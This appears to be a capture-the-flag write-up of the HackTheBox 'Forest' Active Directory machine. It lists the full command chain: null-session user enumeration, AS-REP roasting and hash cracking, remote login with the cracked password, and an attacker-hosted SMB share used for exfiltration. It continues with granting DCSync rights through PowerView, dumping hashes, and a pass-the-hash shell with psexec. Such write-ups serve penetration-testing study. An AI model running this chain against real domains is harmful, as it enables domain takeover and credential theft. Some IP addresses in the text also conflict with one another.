When I first joined HackTheBox, Forest was the first machine that I was trying to own. It was an overall easy to medium difficulty machine.
On Forest, enumeration with anonymous logon/null session on RPC finds Active Directory users account and these can be used to perform AS-REP Roasting to obtain a ticket-granting-ticket (TGT) of a service account. The TGT itself contains a password hash of the user that can be cracked offline, this allows me gain a foothold on the system. For the root part, the service account permissions allows me to grant myself a DCsync rights, this can be leveraged to pull Active Directory NTLM hashes and use them to gain access as NT Authority\SYSTEM.
Reconnaissance
Nmap
root@iamf:~# nmap -sV -sC -oA -v initial-forest 10.10.10.171
-sC
, to scan with default script-sV
, to scan service version-oA
, to save the output to all format (xml, nmap, gnmap)-v
, verbose mode
Nmap scan report for forest.htb (10.10.10.161)
Host is up (0.16s latency).
Not shown: 989 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-03-21 08:18:45Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=3/21%Time=5E75CC69%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h26m25s, deviation: 4h02m30s, median: 6m24s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2020-03-21T01:21:11-07:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-03-21T08:21:14
|_ start_date: 2020-03-20T05:27:17
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
From the scan results, I'm dealing with an Active Directory domain controller.
When it comes to an Active Directory, I often to see people begin their enumeration from SMB/RPC over SMB (445,139) and sometimes LDAP (389). I'll also follow that sequence because these three ports are most likely to have anonymous login.
Enumeration
TCP 445 — SMB / RPC over SMB
I can authenticate myself as anonymous/null session using both smbclient
and rppclient
. With current access I could get list of users and groups but not to file shares.
$ rpcclient -U '%' 10.10.10.161
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
... <omitted> ...
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
I’ll grab those usernames.
Foothold
I actually do a lot of enumerations using such as enum4linux
and ldapsearch
but to keep it short, I’ll just jump into the shell access.
AS-REP Roasting
In Active Directory, users with Kerberos pre-authentication disabled are vulnerable to what is known as AS-REP roasting attack.
When Kerberos is used as the authentication protocol and the pre-auth is enabled, the client or user must include a timestamp encrypted with their password hash for each request they send (KRB_AS_REQ). If the server reads a valid time** after decrypting the request using the user’s password stored in SAM, it gives the user a ticket-granting-ticket (TGT) along with a session key encrypted with the user’s password as the response (KRB_AS_REP).
Now, if the preauth is disabled, timestamp is not needed. As a result, an attacker could send a replay attack/dummy request to obtain the TGT, which contains the user’s password and brute force it offline (read more about it here).
**5 minutes is the default tolerance.
Below is the overview of the Kerberos mechanism. The AS-REP roasting process is indicated by the red circle (or oval I guess?).
A tool called GetNPUsers.py
can be used to initiate a dummy request for AS-REP roasting. Here, the tool captured svc-alfresco
's TGT.
GetNPUsers.py -dc-ip htb.forest -request htb.local/ -usersfile users -format hashcat
The obtained TGT can be cracked with dictionary attack using hashcat
.
hashcat64.exe -m 18200 svcalfresco.txt rockyou.txt -O
I can login remotely to the box using svc-alfresco
with evil-winrm
root@iamf:~# evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice
User flag is done here.
Privilege Escalation
Shell as Administrator
BloodHound is a great tool to collect more information about object relationships within this Active Directory.
First, I’ll host my own shares using smbserver.py
from Impacket. This will make it easier to exfil and clean up data.
root@iamf:~/htb/boxes/forest# mkdir shares;
root@iamf:~/htb/boxes/forest# cd shares/
root@iamf:~/htb/boxes/forest# smbserver.py myfj . -smb2support -username iamf -password iamf
On Forest, I’ll use my share as a network drive.
*Evil-WinRM* PS C:\> $pass = ConvertTo-SecureString 'belompi' -AsPlainText -Force
*Evil-WinRM* PS C:\> $cred = New-Object System.management.automation.pscredential('mikun', $pass)
*Evil-WinRM* PS C:\> New-PSDrive -Name mikun -PSProvider FileSystem -Credential $cred -Root \\[tun0ip]\myfj
*Evil-WinRM* PS C:\> cd mikun:
I’ve already copied SharpHound.exe
, the BloodHound ingestor, to my share.
I’ll start data collecting with -c all
option to collect all.
*Evil-WinRM* PS mikun:\> .\SharpHound.exe -c all
After it finishes, I’ll fire up BloodHound GUI and then load the collected data by drag and drop.
root@iamf:~/htb/boxes/forest# neo4j console
<==splitted pane==>
root@iamf:~/htb/boxes/forest# bloodhound --no-sandbox
I marked svc-alfresco
as ‘owned’ then used BloodHound pre-built analytics queries to find the shortest path from svc-alfresco
to domain admin. The prebuilt query name is “Shortest Path from Owned Principal”.
Path explanation, from top (nearest path to domain admin) to the bottom:
Exchange Windows Permissions
group hasWriteDacl
permission on AD domain. It simply allows you to modify the domain object’s permissions. Users, groups, computers, shares are domain objects.Account Operators
group hasGenericAll
permissions onExchange Windows Permissions
group. It allows you to modify group membership like adding/removing a user to/from the group.Account Operators
members have the ability to create a user.Privileged IT Accounts
group has direct membership to theAccount Operators
group.- User
svc-alfresco
is a direct member of theService Account
group and it has indirect membership to thePrivileged IT Accounts
andAccount Operators
group.
Based on the path, here is the plan:
- Leverage
Account Operators
indirect membership to create a new user and join it toExchange Windows Permission
group - Leverage
Exchange Windows Permissions
group permission to grantDS-Replication-Get-Changes-All
(DCSync) to the new user.
Credential Dumping with DCSync
On Forest, I’ll have to load PowerView.ps1 first.
*Evil-WinRM* PS mikun:\> Import-Module .\powerview.ps1
Create a new user and join it to the Exchange Windows Permissions
group.
*Evil-WinRM* PS mikun:\> net user mikun password /add /domain
*Evil-WinRM* PS mikun:\> net group "Exchange Windows Permission" /add mikun
Then, grant it DCSync rights
*Evil-WinRM* PS mikun:\> $pass = ConvertTo-SecureString 'password' -AsPlainText -Force
*Evil-WinRM* PS mikun:\> $cred = New-Object System.management.automation.pscredential('mikun', $pass)
*Evil-WinRM* PS mikun:\> $cred
*Evil-WinRM* PS mikun:\> Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb, DC=local" -PrincipalIdentity mikun -Rights DCSync
Now I can use secretsdump.py
from impacket with that user to perform a DCSync attack.
To get the shell, I can use psexec.py
from Impacket to perform a pass-the-hash attack.
root@iamf:~# psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 administrator@10.10.10.161
Root flag is done here. That’s all, I hope it is helpful!